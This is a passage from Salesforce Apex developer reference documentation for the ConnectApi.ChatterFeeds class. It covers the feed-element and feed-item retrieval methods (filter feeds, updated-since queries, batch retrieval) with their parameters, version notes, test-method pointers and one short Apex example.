•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
Get Feed Elements From Another User’s Feed
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density, pageParam,
pageSize, sortParam, showInternalOnly, filter, result)
Testing ConnectApi Code
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)
Returns the first page of feed elements for the specified user and the specified key prefix.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String
communityId, String subjectId, String keyPrefix)
891
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, result)
Testing ConnectApi Code
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam,
pageSize, sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String
communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
892
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
893
ChatterFeeds ClassReference
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,
recentCommentCount, elementsPerBundle, density, pageParam, pageSize,
sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order. Each feed element
contains no more than the specified number of comments.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
894
ChatterFeeds ClassReference
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerClump, density,
pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,
recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince)
Returns the specified page of feed elements for the specified user and the specified key prefix. Includes only feed elements that have
been updated since the time specified in the updatedSince parameter.
API Version
31.0
895
ChatterFeeds ClassReference
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeedUpdatedSince(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
subjectId
Type: String
The ID of the context user or the alias me.
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
896
ChatterFeeds ClassReference
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerClump,
density, pageParam, pageSize, updatedSince, result)
Testing ConnectApi Code
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the Company, Home, and Moderation feed types. Includes only feed elements
that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the
specified number of comments.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
897
ChatterFeeds ClassReference
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
result)
Testing ConnectApi Code
898
ChatterFeeds ClassReference
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,
density, pageParam, pageSize, updatedSince, filter)
Returns the specified page of feed elements for the Home feed type with the specified feed filter. Includes only feed elements that have
been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the specified
number of comments.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. The only valid value is Home.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
899
ChatterFeeds ClassReference
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
filter, result)
Testing ConnectApi Code
getFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the Files, Groups, News, People, and Record feed types. Includes only feed
elements that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more
than the specified number of comments.
API Version
31.0
900
ChatterFeeds ClassReference
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
One of these values:
•Files
•Groups
•News
•People
•Record
subjectId
Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
901
ChatterFeeds ClassReference
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, result)
Testing ConnectApi Code
getFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since the
time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community) users
only.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
902
ChatterFeeds ClassReference
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
Boolean showInternalOnly)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
Type: ConnectApi.FeedElementPage
903
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, showInternalOnly, result)
Testing ConnectApi Code
getFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, elementsPerBundle, density, pageParam, pageSize,
updatedSince, filter)
Returns the specified page of feed elements for the UserProfile feed. Includes only feed elements that have been updated since
the time specified in the updatedSince parameter. Use this method to filter the UserProfile feed to include only feed elements
that are scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements
scoped to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in
the future.
API Version
35.0
Available to Guest Users
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.
904
ChatterFeeds ClassReference
subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.
Return Value
Type: ConnectApi.FeedElementPage
905
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density,
pageParam, pageSize, updatedSince, filter, result)
Testing ConnectApi Code
getFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, showInternalOnly)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since the
time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community) users
only. Specify the maximum number of feed elements in a bundle.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, Boolean showInternalOnly)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
906
ChatterFeeds ClassReference
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density,
pageParam, pageSize, updatedSince, showInternalOnly, result)
Testing ConnectApi Code
907
ChatterFeeds ClassReference
getFeedElementsUpdatedSince(communityId, feedType, subjectId,
recentCommentCount, elementsPerClump, density, pageParam, pageSize,
updatedSince, showInternalOnly, filter)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since the
time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community) users
only. Specify the maximum number of feed elements in a bundle and the feed filter.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerClump, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle
Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
density
Type: ConnectApi.FeedDensity
908
ChatterFeeds ClassReference
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
Return Value
Type: ConnectApi.FeedElementPage
909
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerClump, density,
pageParam, pageSize, updatedSince, showInternalOnly, filter, result)
Testing ConnectApi Code
getFeedItem(communityId, feedItemId)
Returns a rich description of the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElement(communityId, feedElementId).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem getFeedItem(String communityId, String feedItemId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemId
Type: String
The ID for a feed item.
Return Value
Type: ConnectApi.FeedItem
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
910
ChatterFeeds ClassReference
getFeedItemBatch(communityId, feedItemIds)
Returns information about the specified list of feed items. Returns a list of BatchResult objects containing
ConnectApi.FeedItem objects. Errors for feed items that can't be loaded are returned in the results.
API Version
31.0–31.0
Important: In version 32.0 and later, use getFeedElementBatch(communityId, feedElementIds).
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getFeedItemBatch(String communityId, List<String>
feedItemIds)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedItemIds
Type: List<String>
A list of up to 500 feed item IDs.
Return Value
Type: ConnectApi.BatchResult[]
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedItem object.
Example
// Create a list of feed items.
ConnectApi.FeedItemPage feedItemPage = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null,
ConnectApi.FeedType.Company);
System.debug(feedItemPage);
// Create a list of feed item IDs.
List<String> feedItemIds = new List<String>();
for (ConnectApi.FeedItem aFeedItem : feedItemPage.items){
feedItemIds.add(aFeedItem.id);
}
// Get info about the feed items in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterFeeds.getFeedItemBatch(null,
feedItemIds);
911
ChatterFeeds ClassReference
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the header for each feed item.
ConnectApi.FeedItem aFeedItem;
if(batchResult.getResult() instanceof ConnectApi.FeedItem) {
aFeedItem = (ConnectApi.FeedItem) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(aFeedItem.header.text);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}
getFeedItemsFromFeed(communityId, feedType)
Returns the first page of feed items for the Company, Home, and Moderation feed types. The page contains the default number
of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
912
ChatterFeeds ClassReference
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, result)
Testing ConnectApi Code
getFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam).
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
913
ChatterFeeds ClassReference
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order. Each
feed item contains no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam).
914
ChatterFeeds ClassReference
Available to Guest Users
31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessages, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
915
ChatterFeeds ClassReference
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedItemPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
